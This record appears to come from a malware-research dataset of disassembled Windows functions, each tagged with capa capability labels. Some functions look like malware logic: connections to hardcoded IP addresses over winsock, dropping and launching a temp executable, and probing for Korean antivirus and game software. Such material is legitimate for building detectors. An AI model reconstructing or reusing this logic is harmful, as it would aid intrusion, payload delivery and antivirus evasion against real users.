joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420294
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x4498af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202cf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202e8
lea eax, [ebp - 0x10]
mov edx, dword [0x466348]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202fb
lea eax, [ebp - 0x10]
mov edx, dword [0x466348]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x420307
adc edx, 0
mov edx, dword [edx*4 + 0x465178]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420481
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420474
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420474
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420412
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420412
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420412
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420412
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420474
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420474
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420499
inc ebx
cmp ebx, 0x19
jne 0x4202c1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4498b6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x406719
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x25c
push ebx
mov ebx, dword [esp + 0x268]
push esi
mov esi, dword [esp + 0x268]
push edi
mov edi, ebx
push esi
and edi, 4
call fcn.00406638
mov dword [esp + 0x14], eax
test bl, 8
je 0x40675b
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x435ac8], eax
jmp 0x4068da
push ebp
mov ebp, ebx
and ebp, 1
mov dword [esp + 0x14], ebp
je 0x406778
test eax, eax
je 0x4068c9
test bl, 2
je 0x406892
push esi
push 0x42fdc0
call fcn.00406b1a
test ebp, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40679b
push 0x409960
push 0x42fdc0
call ebp
jmp 0x4067a1
push esi
call fcn.00406d10
xor eax, eax
cmp word [esi], ax
jne 0x4067b2
cmp word [0x42fdc0], 0x5c
jne 0x4067ba
push 0x4092b0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + eax*2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 0x42fdc0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40687b
push 0x2e
pop eax
cmp word [esp + 0x48], ax
jne 0x406804
cmp word [esp + 0x4a], 0
je 0x40685d
cmp word [esp + 0x4a], ax
jne 0x406804
cmp word [esp + 0x4c], 0
je 0x40685d
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x14]
call fcn.00406b1a
test byte [esp + 0x1c], 0x10
je 0x40682b
mov eax, ebx
and eax, 3
cmp al, 3
jne 0x40685d
push ebx
push esi
call fcn.00406719
jmp 0x40685d
push edi
push esi
call fcn.00406585
test eax, eax
jne 0x406855
test edi, edi
je 0x40684d
push esi
push 0xfffffffffffffff1
call fcn.00405d3a
xor eax, eax
push eax
push esi
call fcn.0040623d
jmp 0x40685d
inc dword [0x435ac8]
jmp 0x40685d
push esi
push 0xfffffffffffffff2
call fcn.00405d3a
lea eax, [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4067e6
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [esp + 0x14], 0
je 0x4068d9
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov word [eax - 2], cx
cmp dword [esp + 0x18], ecx
je 0x4068c9
push esi
call fcn.004065cf
test eax, eax
je 0x4068d9
push esi
call fcn.00406556
mov eax, edi
or eax, 1
push eax
push esi
call fcn.00406585
test eax, eax
jne 0x4068d1
test edi, edi
je 0x4068c9
push esi
push 0xfffffffffffffff1
call fcn.00405d3a
xor eax, eax
push eax
push esi
call fcn.0040623d
jmp 0x4068d9
inc dword [0x435ac8]
jmp 0x4068d9
push esi
push 0xffffffffffffffe5
call fcn.00405d3a
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x25c
ret 8

Function at 0x40691b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
push 0
cmove eax, ecx
push eax
push dword [esp + 0x14]
push ecx
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x431b50
push 0x67
push esi
call edi
push 0x64
push 0x431a88
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x431b50
push 0x431a88
push 0
mov dword [0x431c18], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040ed81
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402aa0
call fcn.00402060
test eax, eax
je 0x4010c3
call fcn.00403350
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012e0
test eax, eax
je 0x40107a
call fcn.00401490
mov eax, dword [0x4324b8]
test eax, eax
jbe 0x4010fe
cmp word [0x4324bc], 0
jbe 0x4010fe
push eax
mov esi, str.218.54.31.226
call fcn.00403ae0
mov ax, word [0x4324bc]
add esp, 4
mov word [0x42efac], ax
xor eax, eax
movzx ecx, word [eax + str.tmp5fdr.exe]
mov word [eax + 0x4329f0], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403b60
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00410e00
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4329f0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040ed90
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x4287c4
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012e0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x1d4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00410e00
add esp, 0xc
lea edi, [esp + 0x198]
call fcn.004035f0
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x431c20], cx
add eax, 2
test cx, cx
jne 0x401321
push 0x431c20
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40136e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.0040ed81
add esp, 0x1dc
ret
push 0x431c20
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401355
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x4325f0
call fcn.00401d20
test eax, eax
jne 0x401440
jmp 0x4013b0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x432798], cx
add eax, 2
test cx, cx
jne 0x4013b0
push str.112.175.88.207
push 0x40
push 0x4325f4
call fcn.0040ee0d
add esp, 0xc
push str.AAAA
push 0x10
push 0x432676
call fcn.0040ee0d
add esp, 0xc
push 0x428800
push 0x40
push 0x432696
call fcn.0040ee0d
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x432674], ax
mov word [0x432716], cx
xor eax, eax
jmp 0x401420
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x432778], cx
add eax, 2
test cx, cx
jne 0x401420
mov dword [0x4327b8], 5
call fcn.00403690
push 0x428800
call fcn.00403740
add esp, 4
mov dword [0x4324b8], eax
call fcn.00401940
push 0
push 0
push 0
push 0x401740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x1dc]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040ed81
add esp, 0x1dc
ret
Function at 0x401800
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
mov ecx, str.112.175.88.209
call fcn.00403d40
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401921
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410e00
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00410e00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x431c60
jmp 0x401880
cmp word [esi], 0
je 0x4018b6
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040ee0d
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040ed90
add esp, 0xc
add esi, 0x118
cmp esi, 0x4321d8
jl 0x401880
mov esi, 0x431c60
lea esp, [esp]
cmp word [esi], 0
je 0x4018e5
push edi
push str.112.175.88.209
push esi
call fcn.004045a0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4321d8
jl 0x4018d0
push 0x4329f0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040ed90
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40191f
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x41c]
pop esi
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x41c
ret
Function at 0x401ac0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00410e00
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00410e00
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push str._s_s
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b66
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b91
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bbc
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bea
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c18
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c46
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040ed81
add esp, 0x414
ret
Function at 0x401dc0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401ed3
cmp esi, ebx
je 0x401ed3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401df0
sub eax, edx
sar eax, 1
je 0x401ed3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00410e00
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401e5a
cmp dword [0x42ef90], 3
jne 0x401e5a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x428b40
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040ed90
add esp, 0xc
jmp 0x401e6a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ed90
push 0x428b44
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.0040f0e2
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401ed3
push eax
push 1
push 0x200
push edi
call fcn.0040f3d5
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f469
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x210
ret

Function at 0x401f90
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00410e00
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402042
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ed90
push 0x428b64
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040f0e2
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402027
push eax
push 1
push 0x200
push esi
call fcn.0040f647
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f469
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040ed81
add esp, 0x210
ret
Function at 0x402910
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00410e00
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00410e00
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401ef0
test eax, eax
je 0x402a7a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x428800]
mov word [eax + 0x4322e8], cx
add eax, 2
test cx, cx
jne 0x402970
xor eax, eax
jmp 0x402990
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x4321e0], cx
add eax, 2
test cx, cx
jne 0x402990
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x432260], cx
add eax, 2
test cx, cx
jne 0x4029b0
cmp dword [0x42ef90], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x4322e0], ax
mov word [0x432368], cx
mov dword [0x43236c], 5
je 0x402a09
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402a36
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x428b40
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040ed90
add esp, 0xc
push str.golfset.ini
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040ed90
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x414
ret

Function at 0x402aa0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x11c
lea eax, [esp + 4]
push 0
push eax
mov dword [0x42ef90], 0
call fcn.00410e00
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b59
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402b1e
mov eax, dword [esp + 8]
cmp eax, 2
jae 0x402aff
cmp eax, 1
jne 0x402b59
mov dword [0x42ef90], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x120
ret
cmp eax, 6
jne 0x402b59
mov eax, dword [esp + 8]
test eax, eax
jne 0x402b4a
mov dword [0x42ef90], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x120
ret
cmp eax, 1
jne 0x402b59
mov dword [0x42ef90], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040ed81
add esp, 0x120
ret
Function at 0x402b70
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00410e00
add esp, 0xc
cmp dword [0x42ef90], 3
jne 0x402bd0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x428b40
lea eax, [esp + 4]
push 0x104
push eax
call fcn.0040ed90
add esp, 0xc
jmp 0x402bdf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040ed81
add esp, 0x20c
ret

Function at 0x402dc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov dword [esp + 0x10], 0
mov word [esp + 0x14], ax
call fcn.00410e00
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402fd0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.004030e0
cmp eax, 0xffffffff
jne 0x402e42
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040ed81
add esp, 0x218
ret
push esi
call fcn.00402ce0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x218
ret

Function at 0x402e70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x228
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x64
call ebp
xor ebx, ebx
push 0x1ff
lea eax, [esp + 0x2d]
push ebx
push eax
xor esi, esi
mov byte [esp + 0x34], bl
call fcn.00410e00
add esp, 0xc
cmp edi, 0xffffffff
je 0x402f50
xor eax, eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
push 0x200
lea eax, [esp + 0x34]
push eax
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402f50
mov ecx, dword [esp + 0x1f2]
mov edx, dword [esp + 0x1ee]
lea eax, [edx + ecx]
cmp eax, ebx
jbe 0x402f0d
mov esi, eax
mov eax, dword [esp + 0x202]
mov ecx, dword [esp + 0x1fe]
add eax, ecx
cmp eax, esi
jbe 0x402f23
mov esi, eax
mov edx, dword [esp + 0x212]
mov eax, dword [esp + 0x20e]
add eax, edx
cmp eax, esi
jbe 0x402f39
mov esi, eax
mov ecx, dword [esp + 0x222]
mov edx, dword [esp + 0x21e]
lea eax, [edx + ecx]
cmp eax, esi
jbe 0x402f50
mov esi, eax
push 0x64
call ebp
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040ed81
add esp, 0x228
ret
Function at 0x402f70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
push esi
mov esi, eax
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 4], eax
cmp edi, 0xffffffff
je 0x402fc4
mov eax, dword [esp + 0x20]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x14], edx
lea edx, [esp + 8]
push edx
mov dword [esp + 0x14], eax
lea eax, [esp + 8]
push eax
shl esi, 9
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
add esp, 0x18
ret

Function at 0x403220
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x428b44
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.0040f0e2
add esp, 0xc
test eax, eax
je 0x403244
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040fc7e
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040fea0
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov edi, eax
call fcn.0040fc7e
mov edx, dword [esp + 0x38]
lea ebp, [edi + edx]
push ebp
call fcn.0040fa9c
mov esi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push edi
push esi
call fcn.0040f3d5
mov ecx, dword [esp + 0x40]
push ecx
call fcn.0040f469
mov eax, dword [esp + 0x50]
lea ebx, [esi + edi]
call fcn.00403300
mov edx, dword [esp + 0x4c]
push 0x428b64
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.0040f0e2
add esp, 0x40
test eax, eax
je 0x4032c5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push esi
call fcn.0040f647
mov edx, dword [esp + 0x20]
push edx
call fcn.0040f469
add esp, 0x14
test esi, esi
je 0x4032ed
push esi
call fcn.0040fb66
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret